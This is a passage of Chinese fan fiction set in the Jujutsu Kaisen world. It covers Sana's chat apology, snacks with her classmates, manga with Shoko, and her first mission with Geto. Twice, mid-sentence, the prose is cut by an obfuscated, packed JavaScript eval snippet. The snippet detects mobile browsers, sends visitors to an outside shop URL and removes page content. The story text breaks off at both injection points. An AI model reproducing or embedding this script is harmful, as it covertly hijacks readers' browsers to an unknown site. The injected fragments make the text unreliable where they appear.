群名是昨天灰原建的，叫高专一年级最强组合（三人一猫版）。 群成员只有三个人纱奈、灰原、七海。 本来纱奈想吐槽这个群名也太中二了。 但当时灰原眨巴着眼睛，拽着她的袖子说，“我觉得很有气势！” 她也就没再说什么。 现在她要在这个群里发道歉消息，纱奈深呼吸，手指在屏幕上敲打。 纱奈：「对不起，我错了。」 纱奈：「我不该说前辈们的坏话，不该试图逃跑，不该装病，不该撒谎。」 纱奈：「五条前辈和夏油前辈都是温柔善良、正直可靠、值得我们尊敬和学习的好前辈。」 纱奈：「请大家监督我，督促我改正错误！」 她检查了一遍，确认没有错别字，然后按了发送。 消息发出去的瞬间，她的手机就开始疯狂震动。 灰原秒回：「白鸟同学你怎么了？！被盗号了吗？！」 七海：「……」 灰原：「还是说被前辈胁迫了？！需要救援吗？！」 纱奈：「没有，我只是认识到自己的错误，诚心悔改。」 灰原：「真的？」 纱奈：「真的。」 灰原：「那太好了！知错能改就是好孩子！」 纱奈放下手机，叹了口气。 算了，就这样吧。 反正她说什么，灰原都会信的。 纱奈打开纸袋，拿出一个大福。 草莓味的，粉嫩嫩的外皮，里面是一整颗新鲜草莓，外面裹着细腻的红豆沙，看着就让人流口水。 她犹豫了一下，把大福重新放回纸袋，然后抱着袋子走出房间。 她要去灰原那里。 一来是分大福，总不能她一个人吃独食。 二来是…她也想跟同龄人聊聊天。 最近被前辈们折磨得太惨了，她需要一点正常的社交，来确认这个世界还没有完全疯掉。 灰原和七海的房间在二楼最里面那间。 纱奈走到门口，抱着纸袋犹豫了一下后敲了敲门。 “来啦！” 里面传来灰原元气满满的声音，然后是急匆匆的脚步声。 门打开，灰原探出头，看见纱奈，眼睛立刻亮了，“白鸟同学！你回来啦！” 纱奈点了点头，“可以进来吗？” “当然可以！”灰原把门完全打开，然后回头喊，“七海！白鸟同学来了！” 七海正坐在书桌前看书，听见声音，抬起头，对纱奈点了点头，算是打招呼。 纱奈走进房间。 房间不大，但很干净。 七海正坐在灰原的凳子上，撑着下巴温习功课。 豆福就窝在灰原的床上，胖乎乎的身体蜷成一团，尾巴盖住脸，看样子已经睡着了。 床上摊开一本漫画书，地上还扔着一个没开封的零食袋。 这只臭猫，躲在这里享福！ 但她没说什么，只是把纸袋放在矮桌上。 “我带了大福，要不要一起吃？” 灰原立刻在矮桌边坐下，“好啊好啊，是什么口味的？” “草莓，抹茶还有柚子的！” 纱奈打开纸袋，把大福一个个拿出来，摆在桌上。 八个大福，散发着诱人的甜香。 七海也放下书走了过来，在灰原旁边坐下。 “前辈们没吃吗？”灰原有些好奇的问。 纱奈说谎不眨眼，皮笑肉不笑，“吃了吃了，这是多出来的。” 她其实不太想提刚才的事，怕又扯到道歉消息的话题。 但灰原显然很感兴趣。 “对了白鸟同学，你刚才的道歉消息是怎么回事啊？你真的认识到错误了吗？” 纱奈僵硬地笑了笑，“认识到了哈哈…哈哈…” 灰原用力点头，“那就好！我也觉得前辈们很好，虽然训练很严格，但都是为了我们好！” 纱奈苦笑中，“你说得对。” “对吧对吧！”灰原笑了，然后拿起一个草莓大福，“那我开动啦！” 纱奈也拿起一个抹茶大福，咬了一口。 浓郁的茶香在嘴里化开，带着一点恰到好处的苦味，中和了红豆沙的甜，口感细腻绵密。 ……好吃。 虽然今天经历了那么多折磨，但至少吃到了好吃的东西。 纱奈的心情稍微好了一点，脑筋一转，坏点子生成中。 “对了灰原，”她突然想起什么，放下大福，一脸严肃地看着灰原，“我要宣布一件事情。” “嗯？什么事？”灰原嘴里塞着大福，腮帮子鼓鼓的，像只仓鼠。 纱奈眨着眼睛一本正经的看着两个人，气氛莫名燃了起来。 纱奈清了清嗓子，“从今天开始，你要叫我姐姐。” 灰原：“……欸？” 七海：“……” 七海突然觉得自己不该来吃大福的。 豆福不知何时睁开了眼睛，琥珀色的猫眼盯着纱奈，一脸嫌弃。 纱奈无视了豆福的视线，继续说：“因为我比你大，而且我早来了几天所以我是前辈，由此得出你叫我姐姐是应该的。” 灰原眨了眨眼，嘴角还挂着奶油，“可是白鸟同学你不是和我们同岁吗？” “不，我比你大一点。”纱奈面不改色地撒谎，“虽然都是一年级，但我的生日比你早，所以我是姐姐。” 其实是假的。 她的生日比灰原和七海都小。 但她就是不想说。 被前辈们欺负就算了，在同龄人面前，她要做姐姐！要有威严！ 灰原看起来有点困惑，“是吗……那你生日是哪天？” “三月。”纱奈随口编了个日子，“春天的第一天，是不是很有意义？” 灰原眼前一亮，像纱奈那边凑了凑，“三月一日！确实很有意义呢！” 然后他想了想，认真地点头，“既然你比我大，我叫你姐姐也是应该的。” 他又歪了歪头，垂下眼睛又抬起头来，“因为是白鸟同学！所以叫姐姐也是可以的哦！” “而且白鸟同学这么可爱，我很喜欢白鸟同学哦！” 灰原眼睛亮晶晶的，就这么盯着纱奈，嘴角残留着奶油渍让他看上去更像是一只灰扑扑的小狗。 他嘴角上扬，又微微向前凑了凑。 好像……小狗。 纱奈脸颊微微泛红，轻咳一声掩饰内心的慌张。 “那，那你叫一声姐姐听听。” 灰原笑眯眯的说道：“姐姐。” “大声一点！” “姐姐！” “再大声一点！” “姐姐——！” 纱奈满足地笑了。 这种感觉，真不错。 被人叫姐姐，被人尊敬，被人仰望着。 旁边的七海嘴角抽了抽，用书挡住了自己的脸。 豆福在旁边幽幽地开口：“哟，现在喜欢年下的类型了？想玩年下play？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497886|202589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 纱奈的脸瞬间爆红，“猫闭嘴！！！” 豆福甩甩尾巴，继续说：“而且，你比他们小吧？占便宜呢少女？” 纱奈僵住了。 灰原也愣住了，“欸？白鸟同学比我们小？” 七海放下书，吃掉最后一口大福，拿纸巾擦了擦嘴角，缓缓开口，“我看过档案，白鸟同学确实比我们小几个月。” 纱奈瞪向豆福，“你不说话没人当你是哑巴！” 豆福翻了个白眼，“我只是陈述事实。” 灰原则是一脸恍然大悟，轻轻笑了笑，“原来是这样！那白鸟同学才是妹妹啊！” 他看向纱奈，表情格外认真，“那我不能叫你姐姐了，要叫纱奈才对。” 纱奈捂住了脸，发出绝望的呜咽。 “豆福…我现在真的想炖了你…” 豆福呲牙邪魅一笑，“随时欢迎哦少女，不过前提是你抓得到我。” 灰原在旁边笑得很开心，完全没有被欺骗的愤怒，“没关系没关系，叫什么都行，纱奈很可爱，叫什么都好听。” 纱奈抬起头，看向他真诚的笑容，突然觉得自己有点过分。 她想占人家便宜，但人家不但不生气，还反过来夸她。 这种坦荡的性格，让她有点自惭形秽。 纱奈垂眸，轻轻开口，“对不起，我不该骗你。” 灰原绽开一个笑容，伸手握住纱奈的手，轻轻晃了晃，“没关系呀，纱奈想让我叫姐姐，肯定是因为想被依赖吧？没问题的！虽然我年龄大一点，但纱奈想怎么叫我都可以哦！” 纱奈的脸更红了，整个人都脸都透着股淡淡的桃子粉的颜色。 七海在旁边淡淡地补充：“我不会叫她姐姐的。” 纱奈转头看向七海，眼中闪过一丝狡黠，“那七海同学打算叫我什么？” “白鸟，或者纱奈。”七海回答得很干脆。 “可是我想听你叫别的。”纱奈双手合十，做出一个恳求的姿势，“就一次？好不好？” 她眨着眼睛，眼睛里泛着水光，嘴唇微微嘟起，脸颊泛着粉色，整个人看起来格外像个粉扑扑的桃子。 七海看着她，眼神闪了闪，脸可疑地红了。 但他还是坚持，“……不要。” “啊啊啊求求你了七海同学！”纱奈干脆凑过去，抱着他的胳膊，轻轻晃了晃，“就叫一声嘛！就叫一声！” 完全就是撒娇啊，整个人贴在七海的胳膊上，有些小小的无赖却透着少女该有的娇憨，叫人平白生不起气来。 七海的身体僵住了，他的耳朵红得更明显了，眼神开始飘忽，手也下意识地抓紧了书。 他竟然觉得白鸟纱奈这样，不讨厌…… 甚至有点点喜欢。 不对，他可是理智派。 “……松手。” “不松！你叫了我才松！” 两人僵持了一会儿。 灰原在旁边看得很开心，豆福则是用爪子捂住了眼睛，一副我看不下去了的样子。 最终，七海叹了口气低下头，用几乎听不清的音量说：“……姐姐。” 说完便迅速改口，说道，“咳……纱奈。” 纱奈的眼睛一下子亮了起来。 她松开手，笑得特别灿烂，“哼哼，我可是听到了！” 七海别过脸，耳朵还红着，但嘴角微微弯起一个细微的弧度。 他正过身子，选择不去看那个让他脸红的源头。 他可是理智派，坚定不移的理智派。 他绝不会脸红，绝不会。 18. 任务前一天 一年级正式开课后的第二周，夜蛾正道宣布了一年级首次实践任务的消息。 训练室里，三个一年级新生站成一排，表情各异。 纱奈脸色发白，手指绞着衣角，灰原倒是好心情笑眯眯的站在纱奈身旁见她紧张轻轻拍了拍她的胳膊。 七海面无表情，眉头微微皱着。 这不怪他，因为在靠近门的位置前辈们就这么直勾勾的盯着他们三。 夜蛾正道站在他们面前，手里拿着一份任务简报。 “这次的任务是分组进行，五条和夏油各带一组，处理两处三级咒灵盘踞点。” “分组？”纱奈小声重复。 “五条带七海，夏油带白鸟。”夜蛾正道顿了顿，“灰原因为咒术特性特殊，这次先观摩学习。” 灰原的表情立刻垮下来，声音里带着点委屈，“欸？为什么是我？” 夜蛾正道解释，“你的术式范围性太大，初次任务不适合，下次会有专门的任务分配给你。” 灰原不甘心地嘟囔，但还是乖乖点头，只不过心情明显有些低落，“知道了夜蛾老师。” 纱奈微微侧过头，轻轻用胳膊肘碰了碰灰原。 灰原侧头，看到纱奈一脸关切的表情，瞬间转悲为喜，嘴角微微上扬，露出八颗牙齿。 七海叹了口气，刚想举手示意夜蛾正道他要去准备一番，就被在门口一直听着的白毛dk狠狠打断。 五条悟把墨镜推到头顶，苍蓝色的眼睛盯着夜蛾，“为什么我要带七海？我要带白鸟。” 纱奈听到这话顿感不妙。 夜蛾面无表情看向五条悟，“你有意见？” “当然有！”五条悟理直气壮，“七海很无聊，白鸟比较好玩。” 七海站在旁边，闻言嘴角抽搐了一下，但没说话。 纱奈皱了皱眉，她什么时候变成好玩的代名词了？？ 五条悟继续说，“而且她第一次出任务，应该跟着最强的我吧？” 夏油杰终于开口了，“悟，你的任务在涩谷，那边人多复杂，不适合第一次出任务的后辈学习。” “那你那边的任务呢？” “练马区一家废弃的卡拉ok，很安全而且更适合让她熟悉流程。” “我也很会教啊！” “但你会吓到她。” “我哪有！” 两个人开始争论，语气都很平静，但空气中弥漫着某种微妙的紧张感。 灰原站在纱奈旁边，眨着眼睛看他们，凑到纱奈耳边小声说：“前辈们好像都想带你诶，纱奈好受欢迎喔。” 纱奈露出一个比哭还难看的笑。 这欢迎她不太想要。 硝子抱着豆福站在人群边缘，一脸看戏的表情。 豆福在她怀里打了个哈欠，眼睛半眯着，像是早就料到会有这种戏码。 两个人继续你语言我一语，距离二人最近的七海黑着一张脸，不堪其扰。 其实谁来带他都行，他现在只想赶紧走。 最终，夜蛾正道一锤定音。 “按照分配执行，不要废话。” 五条悟还是不干。 他走到纱奈面前弯下腰，眼睛盯着她，“你想跟谁去？” 纱奈小心翼翼地看着五条悟，又看了看夏油杰，最后犹豫地说道：“我听夜蛾老师的安排。” “那不说安排，就单纯的你想跟谁？”五条悟追问，声音压低，带着某种威胁的意味。 纱奈的额头开始冒汗。 这种问题不管怎么回答都会得罪人！ 她求助的看向夏油杰。 小杰已离开服务器，并和小悟一起盯着你。 她哪个都不想选！ 就在纱奈快要崩溃的时候，灰原那个小天使或者说小魔鬼，又开口了。 “五条前辈和夏油前辈都很强，纱奈你跟谁都很安全啦！不过我觉得夏油前辈更温柔一点，可能更适合第一次出任务？” 七海在旁边扶额，以迅雷不及掩耳之势迅速侧头看向灰原示意他快别说了。 五条悟瞪了灰原一眼，然后突然改变策略。 他直起身，举起双手，做出一个我投降的姿势，然后用一种近乎撒娇的语气对夜蛾开启攻势。 “夜蛾老师，让我带白鸟嘛，七海那么严肃，很没意思的，而且杰那家伙肯定会把她吓哭的！” 声音拖得很长，像个小孩子在耍赖。 七海的脸色更黑了，嘴角抽搐得几乎要抽筋。 夜蛾正道额头的青筋跳了跳，“五条，别闹。” 五条悟继续攻势，眼睛眨巴眨巴，“我没闹，而且我真的真的很想带白鸟！” 他甚至做出一个委屈的表情，苍蓝色的眼睛水汪汪地看着夜蛾。 纱奈觉得自己可能在做梦。 这个场面太诡异了。 豆福在硝子怀里翻了个白眼，“呵，男人。” 硝子憋着笑，拍了拍猫的脑袋。 最终，夜蛾正道被吵得不耐烦了，他挥挥手，“下一次可以，这次就先这样定了。” “耶！”五条悟立刻恢复正常，转头对纱奈咧嘴一笑，“下次带你哦，白鸟同学。” 五条悟拍了拍七海的肩膀，露出一个更加志在必得的笑容，“来吧，七海海。” 七海的表情已经不能用一般来形容，他闭了闭眼，点了点头，“知道了前辈。” 五条悟满意的点了点头，哼着歌走了背影潇洒又欠揍。 七海面无表情地跟上五条悟，脚步沉重得像要去赴刑场。 夏油杰走到纱奈面前，微微低下身子，他安抚性的笑了笑，“别紧张，只是三级咒灵，很弱的。” 他看纱奈一脸紧张，还是没忍住微微笑出声来，轻轻拍了拍她的手，走到门似是想起自己忘说的话，回头说道，“明早八点，校门口见，白鸟同学。” “是！” 任务分配结束后，人群散去。 灰原凑到纱奈身边，一脸崇拜，眼睛笑得眯起，像是真心为她高兴。 “纱奈你好厉害啊！能让前辈们为你吵架！” 纱奈叹了口气，“这好像不是什么值得骄傲的事情吧……” 硝子抱着豆福走过来，递给她一个安抚的眼神，“第一次任务别紧张，夏油很靠谱的。” “谢谢硝子前辈。” 硝子笑了笑，突然想起什么，“对了，我前一阵子新买了一批漫画，要来看吗？” 纱奈的眼睛亮了，“要！” # 硝子的房间不大，但很整洁。 书架上摆满了医学书籍和漫画，桌子上放着没喝完的饮料罐，还有几本摊开的少女漫。 豆福从硝子怀里跳下来，熟练地跳到床上，找了个舒服的位置趴下。 硝子从书架里抽出几本漫画，递给纱奈，“这几本都是最新出的，剧情很精彩。” 纱奈接过，看着封面。 最上面那一本的封面夸张，女主角被五个男生围着，有的穿着白大褂，有的穿着军装，有的穿着赛车服，风格各异但都很帅。 纱奈翻开这本看了几页，然后抬起头，嘿嘿一笑看向硝子。 “硝子前辈你说在漫画里，像这种修罗场，女主角一般都是怎么处理的？” 硝子挑眉，“怎么，你想效仿？” “不是，我就是好奇。”纱奈翻开另一本，“你看这本，女主角同时和五个人暧昧，最后也没说选谁，就全都收了？” 豆福在旁边冷笑，“怎么，心动了？” 纱奈瞪了它一眼，“我就问问！” 硝子喝了口饮料，慢悠悠地说：“漫画是漫画，现实是现实，现实里你要是敢那么玩，会被撕碎的。” 纱奈合上漫画，叹了口气，“道理虽然懂但就是觉得很美好啊……” “要是能在漫画里，我肯定要把这里面所有的都谈一遍，不对，是一起谈！” 她越说越兴奋，眼睛闪闪发亮。 “你看，年上成熟系，年下热情系，小狗系黏人型，轻浮系玩咖型，还有冷都系禁欲型，都想试一遍！” 硝子被呛了一下，咳嗽了几声，明显被此女大胆的发言震惊到了。 豆福则是毫不留情地嘲讽，“然后现实呢？” 纱奈脸上的笑容僵住了。 “现实……嘶。” 豆福歪头，“你现实里连一个都没谈过，还在被两个前辈欺负的哭鼻子，看几本漫画就想开后宫了？” 硝子憋着笑，肩膀微微抖动。 纱奈恼羞成怒，“现实可以分开谈不同的！” “你看，这个年上年下可以轮流谈，小狗系轻浮系可以换着来，还有冷都系！” 她越说越没底气，声音越来越小。 硝子终于忍不住笑出声，“行了行了，我懂你的意思，不过白鸟，现实里可没有那种好事。” “我知道啦……”纱奈嘟囔着，重新拿起漫画，“所以我只能在漫画里做梦嘛。” 豆福甩了甩尾巴，“梦里什么都有。” 纱奈不理它，继续看漫画。 看了一会儿，她又叹气合上这本又随手从下面抽出一本来。 这本封面单调许多，但右下角的r/18标志格外醒目。 “前辈说实话我真没想到你也喜欢看这种类型的嘿嘿。” 纱奈笑起来，眼睛微微眯起。 硝子面不改色，“偶尔看看，这几本还挺有趣的，尤其是你拿的这本里面关于双向暗恋的描写，很有趣。” 纱奈拿起漫画，翻开了第一页。 瞬间就被剧情吸引了。 女主角是普通高中生，有两个从小一起长大的青梅竹马。 一个是阳光开朗的运动系，一个是温柔体贴的学霸系。 两个人都喜欢她。 她夹在中间，左右为难。 纱奈看得入神。 硝子在旁边一边喝着饮料，一边点评着。 “就这里，男主A为了女主角学做蛋糕，结果把厨房炸了，女主不但不生气，还笑着说你好可爱哦，现实里要是有人敢炸我的厨房，我绝对会把他扔出去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497887|202589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纱奈点了点头又翻开一页。 硝子耸肩犀利点评道。 “还有这里，男主角B为了保护女主角跟小混混打架，虽然打赢了，但自己也受伤了，女主角一边给他包扎一边哭。” “打不过还硬上，那不是勇敢，是蠢。” 纱奈的头点的更用力了。 “不过这一段还行，”硝子指着稍微靠后的某一页，“女主角知道自己实力不够，所以努力训练，想变强，不想总是依赖别人，这种心态比较真实。” 纱奈看了一眼，点头，“嗯。” 她也想变强。 不想总是被欺负，不想总是拖后腿，不想总是哭着等别人来救。 但她又怕。 怕累，怕痛，怕死。 很矛盾。 硝子看了她一眼，突然说：“你知道吗，我第一次解剖尸体的时候，吐了半个小时。” 纱奈抬起头，“真的吗？” 硝子点头，语气平淡，“嗯，不是咒术师的尸体，是普通人的，意外事故死的。” “那后来呢？” “后来？”硝子想了想，“后来吐完了，洗干净手，继续解剖。” 硝子又喝了一口饮料，“所以啊，怕不是问题，重要的是怕了之后还敢不敢继续。” 纱奈抿着嘴，没说话。 她不知道。 她不知道自己敢不敢。 “算了，不说这个。”硝子把漫画又往前推了推，“继续看，看完了我还有其他的。” 纱奈重新把注意力集中到漫画上。 漫画里的女主角柔弱可爱，被竹马们呵护宠爱，过着令她羡慕的校园生活。 而她却被学长们欺负折磨，过着水深火热的高专生活。 差距也太大了。 “怎么了？看着看着表情又这么苦大仇深？”硝子放下饮料罐看着她。 “没什么就是觉得，如果我的高专生活能像漫画里那样就好了。” 硝子嗤笑，“那多无聊，被人捧在手心，什么都帮你安排好，没挑战，没成长。” “可是看着很幸福。” “短暂的幸福罢了，真正的幸福，是要靠自己争取的。” 纱奈愣住了。 靠自己争取？ 她从来没想过这个。 她一直是被动的，被送到高专，被前辈们欺负，被豆福嫌弃，被任务安排。 她从来没想过，自己可以去争取什么。 如果她一辈子都这么懦弱呢，就像当初，父母去世，刚升入国中二年级的她没人愿意收养，去到孤儿院，依旧懦弱胆小懒惰，不愿改变一切。 要是她争取了，不再懦弱，又会怎样。 硝子看着纱奈逐渐变得凝重的脸，轻轻拍了拍她的肩。 “别想太多，顺其自然，现在有想法了是好事。” “嗯……” 纱奈低头继续看漫画。 她看了很久，直到窗外的天色完全暗下来。 漫画里，女主角终于下定决心，要对两个男主角说出自己的心意。 虽然很害怕，虽然不知道结果会怎样，但她还是鼓起勇气。 然而漫画就在这最关键的节点，结束了。 硝子合上漫画，“第一卷结束，第二卷还没买。” 她好想知道后续！纱奈的表情瞬间失落。 “想知道后续？”硝子笑了笑，轻轻点了点纱奈的眉心，“等下次吧，等我买了第二卷再借给你。” 纱奈放下漫画，突然觉得心情好了很多。 硝子站起身，从柜子里拿出两包饼干，递给她一包，“明天加油。” 纱奈接过，小声说：“谢谢前辈。” “不用谢。”硝子重新坐下，“对了，要不要来点酒？” “我还未成年。” 硝子耸肩，“那就算了。” 纱奈抱着饼干和豆福站起身，“那我先回去了哦。” “嗯，早点休息。” 走到门口，硝子突然又叫住她。 “明天别受伤。” 语气虽平淡，但眼神认真了几分。 “我懒得包扎。” 纱奈愣了一下，然后用力点头看向硝子，露出一个傻里傻气的笑容，“收到！” # 夜晚，宿舍里一片漆黑。 纱奈躺在床上，抱着豆福，愣愣的看着天花板。 思来想去，就是睡不着，她拿起枕边的手机，在line上点开夏油杰纯黑的头像框。 删删打打，最终还是发出了一条消息。 「夏油前辈，明天我需要带什么吗？」 发完消息，纱奈息屏，瞬间闭眼不敢去看消息。 怀里的豆福在睡梦里有些不耐烦，微微动了动，发出不满的哼唧。 几乎是瞬间就得到了回复，手机微微震动，纱奈微微睁开一只眼，小心翼翼看向屏幕。 只有一条消息，简洁明了。 「带你自己就好。」 纱奈呆呆的看着这条消息，抱紧了豆福。 19. 第一次任务 夏油杰准时出现在了校门口，他抱着胳膊倚靠在墙上，表情看不出喜怒。 今天的天气有些阴沉，乌云遮蔽着日光，空气沉闷，有些闷热的气息拂过鼻尖，叫人心情莫名有些烦躁。 他有些失神的盯着地面，眉心微蹙。 按照先前他和悟执行任务的情况，这种弱小不堪的咒灵他俩大概会迟到一会儿再去。 可今天不知怎的，他就是提前来到了门口，甚至提前了二十分钟。 大概是因为第一次带后辈吧？ 一定是这样的。 “前辈！” 声音从校园的路上传来伴随着蝉鸣。 夏油杰微微侧头，看着从校园风风火火跑出来的少女，唇角微微上扬。 “白鸟同学，真是准时呢。” 纱奈喘着粗气，轻轻用袖子擦了擦额角沁出的薄汗。 “因为要和前辈一起出任务，所以就早点过来了，没想到您来的比我还早呀。” 她笑着，圆圆的眼睛微微眯起，和她怀里那只胖猫眯起眼睛的样子有八成像。 俩人并排慢慢走下山。 夏油杰用指尖轻轻戳了戳纱奈背后那个大小不容小觑的背包，表情困惑。 “白鸟同学的背包好像.....有点满呢。” 纱奈表情尴尬，不好意思的笑了笑，“啊，这个，这个，我有些怕前辈后腿，所以早起准备了点东西。” 豆福翻了个白眼，“准备了一堆没用的东西，我都跟你说了，你怂啥，你好歹也是一个三级咒术师好不好！” 夏油杰失笑，觉得面前的女孩真的是有些单纯，“下次不用拿这么多。” 他眼睛微微眯起，像只在想坏事的小狐狸，“白鸟同学，我想你也许忘了一件事情呢。” 纱奈有些不解的看向他。 “我记得我跟你说过，我会保护你的，对不对？” 纱奈脸微微涨红，轻轻点了点头。 看到她这幅羞赧的模样，夏油杰突然觉得刚才的烦闷似乎被一扫而空，“不过没关系，那这样，我希望白鸟同学答应我一件事情好吗？” 纱奈抬头，有些不安，“什么事情......?” “我希望白鸟同学允许我保护你。” “好不好？” 纱奈表情呆滞，显然没处理清这句话的意思。 豆福的白眼已经翻出天际了，它是真不明白这个狐狸男逗纱奈这种单细胞生物的乐趣到底在哪里。 夏油杰也不急着听她的回答，抱着胳膊噙着笑看着她。 他是有些坏心思在身上的，总是忍不住想要逗弄一下面前的女孩一下。 看到她的反应，心里总有种难言的满足感。 就像他第一眼看见她时，就觉得对方很可爱，像兔子，也像猫，好巧呢，他最喜欢小猫小兔子了呀。 只可惜小兔子在小时候总是养不长久，那就养另一只，也算可以吧？ 心里产生了想要圈养的冲动，可是把人圈养的话是违法的吧，是肮脏的想法吧？可纱奈是兔子是猫，他想，那，就保护她吧？让她不再经受可怕的一切，一切的血淋淋，一切的污浊，就做一只可爱的兔子，一只听主人话的干净兔子。 就像他的信念，保护弱者，兔子也是弱者吧？所以他更要保护了呢。 他轻呼一口气重新看向面前的女孩，她的长发因为汗水而有些微微黏在颈侧。 他突然又觉得现在的纱奈更像一只翅膀还没长硬就试图飞翔的雏鸟，一次又一次从半空坠落，却又一次又一次的爬起来，摇摇晃晃却又坚持重新起飞。 这样也很可爱呢，想要看看她能努力到哪种地步，会不会努力到不再依赖更加可靠的前辈们，想看着她哭，看着她笑，看到她有些崩溃却又执拗的样子。 所以等一下回答的时候，一定要点头呀，一定要回答要前辈保护你呀。 不然，他真的会有些难过，要换一个方式让兔子听话才可以。 纱奈微微垂下头，半晌抬起头来，眼睛湿漉漉的，“前辈真的会保护我吗？” “当然，我会保护你的。” 纱奈闻言又垂下了头，这句话对她未免过于诱人，她无法拒绝。 嗡嗡嗡，手机铃声响起，夏油杰皱眉接电话，“喂？您好” “莫西莫西，夏油君你们准备好了吗，我快到山下了，很快就可以出发了。” “马上就到了，麻烦岛田先生了。” 夏油杰把手机收起，并未再说什么。 两人就这样沉默着走着，已经看到停在山下的车了。 纱奈抿了抿唇，抱紧了豆福，看样子，她也许不用回答那个问题了吧？ 夏油杰用余光看着身旁的人，看她放松下来的模样，心里那种难耐的滋味又钻了出来。 “白鸟同学还没回答我哦。” 纱奈偏头看着一脸笑意的前辈，可那抹笑总让她感觉怪怪的。 要是不说，会被前辈灭口吗..... 等等，她好像想偏了。 纱奈点了点头，笑里透着股讨好，“想想想.....” 夏油杰满意的点点头，心中终于畅快了些，太好了，她说的是想呢，真的是太好了啊。 他似乎没听够，又向纱奈身边微微靠了靠，“我有点没听清，可以再说一遍吗。” 语气无辜，仿佛他真的没听清一般。 纱奈抱着豆福加快脚步，“前辈，我先去找辅助监督了！” 夏油杰也不恼火，摇着头轻轻低笑。 该说她笨，还是单纯呢。 豆福在纱奈怀里颠来颠去，嫌弃的嘁了一声，小声嘟囔，“不就是长得帅点吗，至于脸红成这样吗。” # 卡拉OK坐落于练马区一条小巷里，车子缓缓在一栋破旧的三层建筑前停下。 建筑的外墙漆已经剥落大半，窗户大多碎裂，门口挂着破败的招牌，歪歪斜斜的，上面布满灰尘。 纱奈抱着豆福站在门前，微微有些紧张。 夏油杰从副驾驶下来，站在纱奈身旁，他侧头看她，“紧张吗？” 纱奈点头，声音很小，“前辈，里面真的很可怕吗？” “不知道呢。”夏油杰坦然地说，“我也是第一次来这里。” “……欸？” “咒灵的资料是从窗那里传来的，具体长什么样，有什么能力，要进去才知道，不过不用担心，这只咒灵初步判定为三级，因为残留的负面情绪聚集形成，特点比较特殊。” 他顿了顿，似乎在斟酌用词，“就是比较黏人。” “黏人？”纱奈愣了愣。 他并没有解释太多，只是说道：“去了就知道了，这次主要是让你熟悉拔除流程，我会在旁边看着，如果情况不对，我会出手。” 纱奈的表情僵了一瞬，又迅速调整。 夏油杰看出她的恐惧，轻轻拍了拍她的肩膀。 “别怕，有我在。” 纱奈稍稍冷静了一点。 但下一秒，夏油杰又说：“就算你死了，我也会把你的尸体完整地带回去，不会让你曝尸街头的。” 纱奈的表情又僵住了。 “前辈，你能不能不要用这么温柔的语气说这么恐怖的话……” 竟然这么回答了吗，还以为可以吓到呢，夏油杰笑了笑。 “抱歉，我只是想让你放轻松。” “我完全轻松不起来！”纱奈气鼓鼓的说道。 辅助监督岛田桑将车停好，迅速在车外布下帐，结界缓缓升起，隔绝了内部与外界的联系。 “帐步好了，请二位多加小心。”岛田朝他们点了点头。 “麻烦您了。”夏油杰率先走进去。 纱奈深吸一口气，抱着豆福跟上。 建筑内部很暗，只有从破碎窗户透进来的微弱光线。 空气中弥漫着一股霉味和灰尘的味道，地上散落着碎裂的酒杯、饮料瓶，还有不知名的垃圾。 豆福的耳朵竖了起来，眼睛在黑暗中泛着光。 “在前面。”它小声说。 纱奈顺着它的视线看去，走廊尽头有一扇半开的门，门缝里透出诡异的紫色光芒。 “走吧。”夏油杰的声音很平静，他走在前面，脚步不紧不慢，像是在散步。 纱奈紧紧跟在他身后，手不自觉地抓住了他的衣角。 夏油杰回头看了她一眼，没有甩开，只是轻轻拍了拍她的手背，“别怕。” 两人一猫走到那扇门前。 夏油杰伸手推开有些变形的门，灰尘四散，他皱着眉挥散面前的尘土。 门内是一个中型的包间，沙发上堆满了杂物，屏幕破碎，麦克风线缠绕在一起。 屋子里散发着股难闻的气味，纱奈捂住口鼻观察着周围，房间中央似乎有个东西。 豆福干呕一声，“好难闻。” 夏油杰语气平静，“咒灵的气味，应该是个没什么攻击性的家伙。” 纱奈突然瞪大了眼睛，一个东西滚了出来，纱奈一惊向后退伸出手抓住夏油杰的袖子将他向后拽了拽。 夏油杰偏头，伴着微弱的光线他眼里带着笑意的看着纱奈。 真是没想到呢，她竟然会担心他的安危。 纱奈指向房间中央，声音故作镇定，“前辈，有东西。” 夏油杰闻言看向房间中央。 那是一个半透明的，果冻状的生物，大约有半人高，浑身泛着诡异的紫色光芒，它的身体似乎没有固定的形状，身体像液体一样缓缓流动，表面还冒着细小的气泡。 每动一下就有黏糊糊的半透明又泛着紫色的液体不断溢出。 它的眼睛在它那本就没有形状的身体上四处游走，好奇的看着他们。 “呜.....呜......" 那东西发出细微黏腻的声音，向他们的方向凑了凑。 豆福从纱奈怀里跳下来，走到那东西面前，歪着头打量。 “豆福，它在说什么？”纱奈小声问。 豆福的表情在一瞬间变得古怪。 它沉默了几秒，语气里充满无语，“它说，请调/教/我。" 纱奈一脸震惊，”哈？“ 夏油杰挑眉，也露出了点意外的表情，“调教？” 豆福点头，猫脸上充满了嫌弃，“这玩意儿还是个抖m。” 纱奈：“......？“ 夏油杰似乎产生了兴趣，“还有呢。” “它说它不挑，少年少女都可以，长得帅的这位能先打它一巴掌再把它拔除吗，或者旁边这位可爱的小姐也可以。” 纱奈的脸瞬间张红，“这都什么跟什么啊！” 夏油杰轻笑出声，“原来如此，是这种类型的咒灵啊。” 